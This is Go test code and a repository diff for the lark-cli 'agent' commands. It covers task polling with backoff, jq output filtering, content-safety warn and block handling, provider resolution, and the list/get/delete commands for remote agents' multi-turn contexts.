func TestSemanticExitError(t *testing.T) {
cases := []struct {
state iagent.TaskState
wantExit int
}{
{iagent.StateCompleted, output.ExitOK},
{iagent.StateFailed, 1},
{iagent.StateRejected, 1},
{iagent.StateCanceled, 1},
{iagent.StateInputRequired, output.ExitOK}, // non-terminal, not treated as failure
{iagent.StateWorking, output.ExitOK},
}
for _, c := range cases {
task := &iagent.AgentTask{State: c.state, IsTerminal: c.state.IsTerminal()}
err := semanticExitError(task)
if got := output.ExitCodeOf(err); got != c.wantExit {
t.Errorf("state=%s exit expected %d got %d (err=%v)", c.state, c.wantExit, got, err)
}
}
// nil task should not panic and is treated as success
if err := semanticExitError(nil); err != nil {
t.Errorf("nil task should return nil, got %v", err)
}
}
// fakePollProvider drives pollToStop through a scripted state sequence. It is
// not registered, so provider() only wires GetTask (the sole field pollToStop
// touches); calls/err stay observable on the struct after the poll.
type fakePollProvider struct {
states []iagent.TaskState
calls int
err error
}
func (f *fakePollProvider) provider() *iagent.Provider {
return &iagent.Provider{
GetTask: func(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
if f.err != nil {
return nil, f.err
}
i := f.calls
if i >= len(f.states) {
i = len(f.states) - 1
}
f.calls++
s := f.states[i]
return &iagent.AgentTask{TaskID: taskID, State: s, IsTerminal: s.IsTerminal()}, nil
},
}
}
// TestPollToStop_ReachesTerminal stops once a terminal state is observed.
func TestPollToStop_ReachesTerminal(t *testing.T) {
restore := swapSleep()
defer restore()
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted}}
task, err := pollToStop(context.Background(), p.provider(), "chat_1")
if err != nil {
t.Fatalf("should not error: %v", err)
}
if task == nil || task.State != iagent.StateCompleted {
t.Fatalf("should stop at completed, got %+v", task)
}
if p.calls < 3 {
t.Fatalf("should poll at least 3 times, got %d", p.calls)
}
}
// TestPollToStop_StopsOnInputRequired treats input_required as a stop point.
func TestPollToStop_StopsOnInputRequired(t *testing.T) {
restore := swapSleep()
defer restore()
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateInputRequired}}
task, err := pollToStop(context.Background(), p.provider(), "chat_1")
if err != nil {
t.Fatalf("should not error: %v", err)
}
if task.State != iagent.StateInputRequired {
t.Fatalf("should stop at input_required, got %s", task.State)
}
}
// TestPollToStop_ContextTimeoutNotFailure confirms that timeout returns the
// current task with a nil error (exit 0), not a failure.
func TestPollToStop_ContextTimeoutNotFailure(t *testing.T) {
restore := swapSleep()
defer restore()
ctx, cancel := context.WithCancel(context.Background())
cancel() // expire immediately
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}}
task, err := pollToStop(ctx, p.provider(), "chat_1")
if err != nil {
t.Fatalf("timeout should not be treated as failure: %v", err)
}
if task == nil || task.State != iagent.StateWorking {
t.Fatalf("timeout should return the current task, got %+v", task)
}
}
// TestPollToStop_GetTaskError surfaces a provider error.
func TestPollToStop_GetTaskError(t *testing.T) {
restore := swapSleep()
defer restore()
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}, err: errors.New("boom")}
if _, err := pollToStop(context.Background(), p.provider(), "chat_1"); err == nil {
t.Fatal("a GetTask error should propagate")
}
}
// swapSleep replaces the package sleep with a no-op for fast tests.
func swapSleep() func() {
orig := sleep
sleep = func(context.Context, time.Duration) bool { return true }
return func() { sleep = orig }
}
// swapSleepCapture replaces the package sleep with a no-op that records every
// backoff duration it was asked to wait, so tests can assert the exponential /
// clamp schedule. It always returns true (full duration elapsed).
func swapSleepCapture(delays *[]time.Duration) func() {
orig := sleep
sleep = func(_ context.Context, d time.Duration) bool {
*delays = append(*delays, d)
return true
}
return func() { sleep = orig }
}
// swapSleepFalseAt replaces the package sleep with a no-op that returns false
// (as if ctx were canceled during backoff) on the falseCall-th invocation
// (1-indexed) and true otherwise. Lets tests exercise the sleep-returns-false
// branch in isolation without racing a real ctx timeout.
func swapSleepFalseAt(falseCall int) func() {
orig := sleep
n := 0
sleep = func(context.Context, time.Duration) bool {
n++
return n != falseCall
}
return func() { sleep = orig }
}
// TestPollToStop_ClampsDelayToMax drives >=4 backoff rounds so the exponential
// delay overshoots the 5s cap and the clamp branch (line 179) executes. The
// captured schedule must never exceed maxDelay and must actually reach it.
func TestPollToStop_ClampsDelayToMax(t *testing.T) {
var delays []time.Duration
restore := swapSleepCapture(&delays)
defer restore()
// 5 Working states then Completed: forces backoff 1s,2s,4s,5s(clamped),5s...
p := &fakePollProvider{states: []iagent.TaskState{
iagent.StateWorking, iagent.StateWorking, iagent.StateWorking,
iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted,
}}
task, err := pollToStop(context.Background(), p.provider(), "chat_1")
if err != nil {
t.Fatalf("should not error: %v", err)
}
if task == nil || task.State != iagent.StateCompleted {
t.Fatalf("should stop at completed, got %+v", task)
}
want := []time.Duration{1 * time.Second, 2 * time.Second, 4 * time.Second, 5 * time.Second, 5 * time.Second}
if len(delays) != len(want) {
t.Fatalf("backoff count should be %d, got %d (%v)", len(want), len(delays), delays)
}
for i, d := range delays {
if d > 5*time.Second {
t.Errorf("backoff #%d=%v exceeds the 5s cap", i, d)
}
if d != want[i] {
t.Errorf("backoff #%d expected %v got %v", i, want[i], d)
}
}
}
// TestPollToStop_SleepCanceledDuringBackoff isolates the sleep-returns-false
// branch (lines 173-177): ctx.Err() is still nil when the loop reaches the
// sleep, but sleep reports the wait was cut short, so pollToStop returns the
// most recent task with a nil error (not a failure).
func TestPollToStop_SleepCanceledDuringBackoff(t *testing.T) {
restore := swapSleepFalseAt(1) // first backoff sleep is interrupted
defer restore()
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateCompleted}}
task, err := pollToStop(context.Background(), p.provider(), "chat_1")
if err != nil {
t.Fatalf("an interrupted sleep should not be treated as failure: %v", err)
}
if task == nil || task.State != iagent.StateWorking {
t.Fatalf("should return the working task observed before interruption, got %+v", task)
}
if p.calls != 1 {
t.Fatalf("should not poll again after sleep interruption, expected 1 GetTask call got %d", p.calls)
}
}
// TestJqExpr covers both jqExpr branches: a command with a registered --jq flag
// returns its value; a command without the flag returns "".
func TestJqExpr(t *testing.T) {
withFlag := &cobra.Command{Use: "get"}
withFlag.Flags().String("jq", "", "")
if err := withFlag.Flags().Set("jq", ".state"); err != nil {
t.Fatal(err)
}
if got := jqExpr(withFlag); got != ".state" {
t.Errorf("with a --jq flag it should return its value, got %q", got)
}
noFlag := &cobra.Command{Use: "list"}
if got := jqExpr(noFlag); got != "" {
t.Errorf("without a --jq flag it should return empty, got %q", got)
}
}
// newEmitCmd builds a `lark-cli agent <name>` command whose CommandPath() is
// non-empty (required for content-safety scanning to engage) and optionally
// registers a --jq flag with the given value.
func newEmitCmd(name, jq string) *cobra.Command {
root := &cobra.Command{Use: "lark-cli"}
agentGroup := &cobra.Command{Use: "agent"}
leaf := &cobra.Command{Use: name}
root.AddCommand(agentGroup)
agentGroup.AddCommand(leaf)
if jq != "" {
leaf.Flags().String("jq", "", "")
_ = leaf.Flags().Set("jq", jq)
}
leaf.SetContext(context.Background())
return leaf
}
// emitFactory returns a Factory writing to fresh out/err buffers.
func emitFactory() (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffer) {
out := &bytes.Buffer{}
errOut := &bytes.Buffer{}
f := &cmdutil.Factory{
IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut},
ResolvedIdentity: core.AsBot,
}
return f, out, errOut
}
// csProvider is a content-safety provider stub returning a fixed alert.
type csProvider struct{ alert *extcs.Alert }
func (p *csProvider) Name() string { return "test" }
func (p *csProvider) Scan(context.Context, extcs.ScanRequest) (*extcs.Alert, error) {
return p.alert, nil
}
// TestEmitTask_PlainSuccess emits a task with no jq, no alert: the full envelope
// lands on stdout with ok=true and the identity.
func TestEmitTask_PlainSuccess(t *testing.T) {
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
next := []output.NextAction{{Label: "poll", Command: "lark-cli agent task get example:x chat_1"}}
if err := emitTask(f, cmd, task, next, "json"); err != nil {
t.Fatalf("emit should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
}
if !env.OK || env.Identity != string(core.AsBot) {
t.Errorf("ok/identity mismatch: %+v", env)
}
if !strings.Contains(out.String(), `"next"`) || !strings.Contains(out.String(), "poll") {
t.Errorf("meta.next should appear in the output: %s", out.String())
}
}
// TestEmitTask_NoNextOmitsMeta pins the omitempty branch (common.go line 113):
// when next is nil or an empty (non-nil) slice, emitTask must leave env.Meta nil
// so "meta" is absent from the serialized envelope. Covers both len(next)==0
// inputs the branch can receive.
func TestEmitTask_NoNextOmitsMeta(t *testing.T) {
for _, tc := range []struct {
name string
next []output.NextAction
}{
{"nil next", nil},
{"empty non-nil next", []output.NextAction{}},
} {
t.Run(tc.name, func(t *testing.T) {
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
if err := emitTask(f, cmd, task, tc.next, "json"); err != nil {
t.Fatalf("emit should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
}
if env.Meta != nil {
t.Errorf("Meta should be nil when len(next)==0, got %+v", env.Meta)
}
if strings.Contains(out.String(), `"meta"`) {
t.Errorf("meta should be omitted by omitempty when next is empty: %s", out.String())
}
})
}
}
// TestEmitTask_JqFilter routes stdout through a valid jq expression.
func TestEmitTask_JqFilter(t *testing.T) {
f, out, _ := emitFactory()
cmd := newEmitCmd("task", ".data.state")
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
t.Fatalf("jq filtering should not error: %v", err)
}
if got := strings.TrimSpace(out.String()); got != "working" {
t.Errorf("jq .data.state should output working, got %q", got)
}
}
// TestEmitTask_JqFilterError surfaces a malformed jq expression as an error.
func TestEmitTask_JqFilterError(t *testing.T) {
f, _, _ := emitFactory()
cmd := newEmitCmd("task", "{") // unbalanced → gojq.Parse fails
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
if err := emitTask(f, cmd, task, nil, "json"); err == nil {
t.Fatal("a malformed jq expression should error")
}
}
// TestEmitTask_ContentSafetyAlertWarn attaches a warn-mode alert to the envelope
// without blocking output.
func TestEmitTask_ContentSafetyAlertWarn(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
t.Fatalf("warn mode should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("unmarshal: %v (%s)", err, out.String())
}
if env.ContentSafetyAlert == nil {
t.Error("warn mode should attach the alert to the envelope")
}
}
// TestEmitTask_ContentSafetyAlertWarnWithJq exercises the WriteAlertWarning +
// JqFilter branch: an alert plus a --jq expression writes a stderr warning and
// still filters stdout.
func TestEmitTask_ContentSafetyAlertWarnWithJq(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
f, out, errOut := emitFactory()
cmd := newEmitCmd("task", ".data.state")
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
t.Fatalf("warn+jq should not error: %v", err)
}
if got := strings.TrimSpace(out.String()); got != "working" {
t.Errorf("jq output should be working, got %q", got)
}
if !strings.Contains(errOut.String(), "content safety alert") {
t.Errorf("stderr should contain a content-safety warning, got %q", errOut.String())
}
}
// TestEmitTask_ContentSafetyBlocked returns the block error and writes nothing
// to stdout.
func TestEmitTask_ContentSafetyBlocked(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
defer extcs.Register(nil)
f, out, _ := emitFactory()
cmd := newEmitCmd("task", "")
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
err := emitTask(f, cmd, task, nil, "json")
if err == nil {
t.Fatal("block mode should return BlockErr")
}
if !errs.IsContentSafety(err) {
t.Errorf("should be a content-safety error, got %T", err)
}
if out.Len() > 0 {
t.Errorf("block mode should not write to stdout, got %q", out.String())
}
}
// resolveCmd builds an `agent card` command carrying an `--as` flag. When
// asChanged is true the flag is marked as explicitly set, so ResolveAs honors
// the passed identity verbatim (needed to exercise the identity-check branch).
func resolveCmd(t *testing.T, asChanged bool, asVal string) *cobra.Command {
t.Helper()
root := &cobra.Command{Use: "lark-cli"}
group := &cobra.Command{Use: "agent"}
leaf := &cobra.Command{Use: "card"}
root.AddCommand(group)
group.AddCommand(leaf)
leaf.Flags().String("as", "", "identity")
if asChanged {
if err := leaf.Flags().Set("as", asVal); err != nil {
t.Fatal(err)
}
}
leaf.SetContext(context.Background())
return leaf
}
// TestResolveProvider_Success resolves a valid example ref under an explicit bot
// identity and returns a non-nil provider.
func TestResolveProvider_Success(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
cmd := resolveCmd(t, true, "bot")
p, id, err := resolveProvider(f, cmd, "example:agt_x", "bot")
if err != nil {
t.Fatalf("a valid ref + bot should succeed: %v", err)
}
if p == nil {
t.Fatal("should return a non-nil provider")
}
if id != core.AsBot {
t.Errorf("identity should be bot, got %s", id)
}
}
// TestResolveProvider_MalformedRef wraps a ParseRef failure into an
// invalid_argument validation error (exit 2).
func TestResolveProvider_MalformedRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
cmd := resolveCmd(t, true, "bot")
_, _, err := resolveProvider(f, cmd, "no-colon", "bot")
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
p, _ := errs.ProblemOf(err)
if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
// Hand-written validation errors carry a recovery hint. A malformed ref
// teaches the <scheme>:<agent_id> shape.
if !strings.Contains(p.Hint, "<scheme>:<agent_id>") {
t.Errorf("malformed-ref hint should teach the ref shape, got %q", p.Hint)
}
}
// TestResolveProvider_UnknownScheme rejects an unregistered provider scheme.
func TestResolveProvider_UnknownScheme(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
cmd := resolveCmd(t, true, "bot")
_, _, err := resolveProvider(f, cmd, "nope:agt_x", "bot")
if err == nil {
t.Fatal("an unknown scheme should error")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
// An unknown scheme points the caller at `agent list` for discovery.
p, _ := errs.ProblemOf(err)
if p == nil || !strings.Contains(p.Hint, "agent list") {
t.Errorf("unknown-scheme hint should point to `agent list`, got %+v", p)
}
}
// TestResolveProvider_IdentityRejected fails the user|bot whitelist when an
// unsupported --as is explicitly requested; the provider is never constructed.
func TestResolveProvider_IdentityRejected(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
cmd := resolveCmd(t, true, "admin")
p, _, err := resolveProvider(f, cmd, "example:agt_x", "admin")
if err == nil {
t.Fatal("an unsupported identity should error")
}
if p != nil {
t.Error("should not return a provider when identity validation fails")
}
if !errs.IsValidation(err) {
t.Fatalf("should be a validation error, got %T", err)
}
}
// TestResolveProvider_APIClientError surfaces a NewAPIClient failure (Config
// error) before any provider is built.
func TestResolveProvider_APIClientError(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
f.Config = func() (*core.CliConfig, error) { return nil, errors.New("config boom") }
cmd := resolveCmd(t, true, "bot")
if _, _, err := resolveProvider(f, cmd, "example:agt_x", "bot"); err == nil {
t.Fatal("a Config error should propagate")
}
}
// unconfiguredFactory returns a Factory whose Config() errors (simulating a
// fresh install that hasn't run `config init`), so NewAPIClient fails. Used to
// pin that the API-free paths never reach the config gate.
func unconfiguredFactory(t *testing.T) *cmdutil.Factory {
t.Helper()
f, _, _, _ := cmdutil.TestFactory(t, nil)
f.Config = func() (*core.CliConfig, error) { return nil, errors.New("not configured") }
return f
}
// TestResolveProviderNoClient_WorksWhenUnconfigured guards the acceptance
// regression: the API-free resolution path must NOT touch NewAPIClient, so it
// succeeds even when Config errors, while the client-backed resolveProvider
// still fails at the config gate.
func TestResolveProviderNoClient_WorksWhenUnconfigured(t *testing.T) {
f := unconfiguredFactory(t)
cmd := resolveCmd(t, true, "bot")
p, id, err := resolveProviderNoClient(f, cmd, "example:agt_x", "bot")
if err != nil {
t.Fatalf("no-client resolution should succeed when unconfigured: %v", err)
}
if p == nil || id != core.AsBot {
t.Fatalf("should return provider + bot identity, got p=%v id=%s", p, id)
}
if _, _, err := resolveProvider(f, cmd, "example:agt_x", "bot"); err == nil {
t.Fatal("the client path should error when unconfigured (config gate)")
}
}
// TestResolveProviderNoClient_ValidatesRefBeforeConfig pins that a malformed
// ref / unknown scheme is a validation error (exit 2) even when unconfigured —
// it must not be masked by not_configured.
func TestResolveProviderNoClient_ValidatesRefBeforeConfig(t *testing.T) {
f := unconfiguredFactory(t)
cmd := resolveCmd(t, true, "bot")
for _, ref := range []string{"no-colon", "nope:agt_x"} {
_, _, err := resolveProviderNoClient(f, cmd, ref, "bot")
if err == nil {
t.Fatalf("ref %q should also report a validation error when unconfigured", ref)
}
if !errs.IsValidation(err) {
t.Fatalf("ref %q should be a validation error, got %T", ref, err)
}
}
}
// TestAgentCardRun_WorksUnconfigured guards the acceptance regression: `agent
// card` is statically synthesized and must succeed unconfigured, never hitting
// the config gate.
func TestAgentCardRun_WorksUnconfigured(t *testing.T) {
f := unconfiguredFactory(t)
cmd := resolveCmd(t, true, "bot")
if err := agentCardRun(&cardOptions{Factory: f, Cmd: cmd, Ref: "example:echo", As: "bot", Format: "json"}); err != nil {
t.Fatalf("agent card should succeed when unconfigured (API-free): %v", err)
}
}
// TestAgentSendRun_DryRunWorksUnconfigured guards the acceptance regression:
// `agent send --dry-run` is a client-side preview and must succeed
// unconfigured — the example echo card declares no parameters, so no --param is
// needed. A malformed --param must still surface as validation, unconfigured.
func TestAgentSendRun_DryRunWorksUnconfigured(t *testing.T) {
f := unconfiguredFactory(t)
cmd := resolveCmd(t, true, "bot")
err := agentSendRun(&sendOptions{
Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi", DryRun: true, As: "bot",
})
if err != nil {
t.Fatalf("send --dry-run should succeed when unconfigured: %v", err)
}
// A malformed --param (no '=') is still a validation error, unconfigured.
err = agentSendRun(&sendOptions{
Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi",
Params: []string{"noequals"}, DryRun: true, As: "bot",
})
if err == nil || !errs.IsValidation(err) {
t.Fatalf("a malformed --param should report a validation error when unconfigured, got %v", err)
}
}

View File

@@ -1,248 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"fmt"
"github.com/spf13/cobra"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/output"
)
// contextOptions holds all inputs for the `agent context list|get|delete`
// leaves. A single struct backs all three so the shared fields (Factory, Cmd,
// Ref, As) are wired once; each RunE reads only the fields its verb needs.
type contextOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Ref string
CtxID string
Yes bool
As string
Format string
}
// NewCmdAgentContext builds the `agent context` command group: manage a remote
// agent's multi-turn contexts (requires card multi_turn=true). It is a pure group with
// no RunE so an unknown subcommand is reported rather than silently swallowed.
func NewCmdAgentContext(f *cmdutil.Factory) *cobra.Command {
cmd := &cobra.Command{
Use: "context",
Short: "Manage a remote agent's multi-turn contexts (sessions)",
Long: "context list <agent_ref> lists sessions; context get <agent_ref> <ctx-id> shows session detail; context delete <agent_ref> <ctx-id> deletes a session (high-risk, needs --yes).",
}
cmd.AddCommand(NewCmdAgentContextList(f))
cmd.AddCommand(NewCmdAgentContextGet(f))
cmd.AddCommand(NewCmdAgentContextDelete(f))
return cmd
}
// NewCmdAgentContextList builds `agent context list <ref>`: enumerate the
// agent's multi-turn contexts into {contexts:[...]} with a meta.count. Risk=read.
func NewCmdAgentContextList(f *cmdutil.Factory) *cobra.Command {
opts := &contextOptions{Factory: f}
cmd := &cobra.Command{
Use: "list <agent_ref>",
Short: "List a remote agent's multi-turn contexts",
Long: "List the multi-turn contexts (sessions) of the agent addressed by agent_ref.",
Args: exactArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
return agentContextListRun(opts)
},
}
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// NewCmdAgentContextGet builds `agent context get <ref> <ctx-id>`: fetch a
// single context's detail. Risk=read.
func NewCmdAgentContextGet(f *cmdutil.Factory) *cobra.Command {
opts := &contextOptions{Factory: f}
cmd := &cobra.Command{
Use: "get <agent_ref> <ctx-id>",
Short: "Show the detail of a single multi-turn context",
Long: "Show the detail of the multi-turn context ctx-id under the agent addressed by agent_ref.",
Args: exactArgsWithUsage(2),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
opts.CtxID = args[1]
return agentContextGetRun(opts)
},
}
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// NewCmdAgentContextDelete builds `agent context delete <ref> <ctx-id>`: destroy
// a multi-turn context. Deletion is irreversible, so it is high-risk-write and
// requires --yes; without it the command returns a confirmation_required error
// (exit 10) before touching the API. Risk=high-risk-write.
func NewCmdAgentContextDelete(f *cmdutil.Factory) *cobra.Command {
opts := &contextOptions{Factory: f}
cmd := &cobra.Command{
Use: "delete <agent_ref> <ctx-id>",
Short: "Delete a remote agent's multi-turn context (high-risk, needs --yes)",
Long: "Delete the multi-turn context ctx-id under the agent addressed by agent_ref. Deletion is irreversible and requires --yes to confirm; otherwise it returns confirmation_required (exit 10).",
Args: exactArgsWithUsage(2),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
opts.CtxID = args[1]
return agentContextDeleteRun(opts)
},
}
cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认删除(高危操作,不加则返回 exit 10")
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskHighRiskWrite)
return cmd
}
// agentContextListRun runs `context list`: resolves the provider, lists contexts
// and emits {contexts:[...]} with meta.count.
func agentContextListRun(opts *contextOptions) error {
f := opts.Factory
p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Capability gate before the API call: multi_turn is derived from ListContexts
// being wired, so a provider without it returns unsupported_capability.
if p.ListContexts == nil {
return capabilityError(opts.Ref, "context list", iagent.CapMultiTurn)
}
// Local scope preflight: after resolveProvider, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
contexts, err := p.ListContexts(opts.Cmd.Context())
if err != nil {
return err
}
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
printContextsTSV(f.IOStreams.Out, contexts)
return nil
}
env := output.Envelope{
OK: true,
Identity: string(id),
Data: map[string]interface{}{"contexts": contexts},
Meta: &output.Meta{Count: len(contexts)},
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// agentContextGetRun runs `context get`: resolves the provider, fetches the
// context detail and emits it.
func agentContextGetRun(opts *contextOptions) error {
f := opts.Factory
p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Capability gate before the API call.
if p.GetContext == nil {
return capabilityError(opts.Ref, "context get", iagent.CapMultiTurn)
}
// Local scope preflight: after resolveProvider, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
detail, err := p.GetContext(opts.Cmd.Context(), opts.CtxID)
if err != nil {
return err
}
if detail != nil {
// Derive IsTerminal from State (single source of truth) for the embedded
// task summaries before emission.
detail.Tasks = normalizeTaskSummaries(detail.Tasks)
}
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
printContextDetailPretty(f.IOStreams.Out, detail)
return nil
}
env := output.Envelope{
OK: true,
Identity: string(id),
Data: detail,
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// agentContextDeleteRun runs `context delete`. The --yes confirmation guard runs
// first so a missing confirmation returns confirmation_required (exit 10) before
// any provider is built and holds even under a nil Factory. Only a
// confirmed delete reaches resolveProvider + DeleteContext.
func agentContextDeleteRun(opts *contextOptions) error {
if !opts.Yes {
return cmdutil.RequireConfirmation("agent context delete")
}
f := opts.Factory
p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Capability gate before the API call.
if p.DeleteContext == nil {
return capabilityError(opts.Ref, "context delete", iagent.CapMultiTurn)
}
// Local scope preflight: after resolveProvider, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
if err := p.DeleteContext(opts.Cmd.Context(), opts.CtxID); err != nil {
return err
}
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
fmt.Fprintf(f.IOStreams.Out, "context_id: %s\ndeleted: true\n", kvValue(opts.CtxID))
return nil
}
env := output.Envelope{
OK: true,
Identity: string(id),
Data: map[string]interface{}{"context_id": opts.CtxID, "deleted": true},
Notice: output.GetNotice(),
}
if jq := jqExpr(opts.Cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}

View File

@@ -1,408 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"context"
"encoding/json"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/httpmock"
"github.com/larksuite/cli/internal/output"
)
// contextCmdCtx builds a `lark-cli agent context <leaf>` command whose --as flag
// is set to bot so ResolveAs honors it verbatim, and carries a context.
func contextCmdCtx(t *testing.T, leaf string) *cobra.Command {
t.Helper()
root := &cobra.Command{Use: "lark-cli"}
group := &cobra.Command{Use: "agent"}
grp := &cobra.Command{Use: "context"}
l := &cobra.Command{Use: leaf}
root.AddCommand(group)
group.AddCommand(grp)
grp.AddCommand(l)
l.Flags().String("as", "", "identity")
if err := l.Flags().Set("as", "bot"); err != nil {
t.Fatal(err)
}
l.SetContext(context.Background())
return l
}
// contextTestOpts wires a contextOptions against a real (test) Factory,
// addressing the scripted fakeflow agent agt_x under a bot identity. The
// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
// test; provider behavior is scripted via setScripted.
func contextTestOpts(t *testing.T, leaf string) (*contextOptions, *httpmock.Registry) {
t.Helper()
registerScripted()
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
f, _, _, reg := cmdutil.TestFactory(t, cfg)
return &contextOptions{
Factory: f,
Cmd: contextCmdCtx(t, leaf),
Ref: "fakeflow:agt_x",
As: "bot",
}, reg
}
// TestContextDeleteRequiresYes pins that `context delete` without --yes is a
// confirmation_required error (exit 10), raised before any provider is built.
func TestContextDeleteRequiresYes(t *testing.T) {
err := agentContextDeleteRun(&contextOptions{Ref: "example:agt_x", CtxID: "c1", Yes: false})
if err == nil {
t.Fatal("context delete without --yes should report confirmation_required")
}
if !errs.IsConfirmationRequired(err) {
t.Fatalf("should be a confirmation_required error, got %T", err)
}
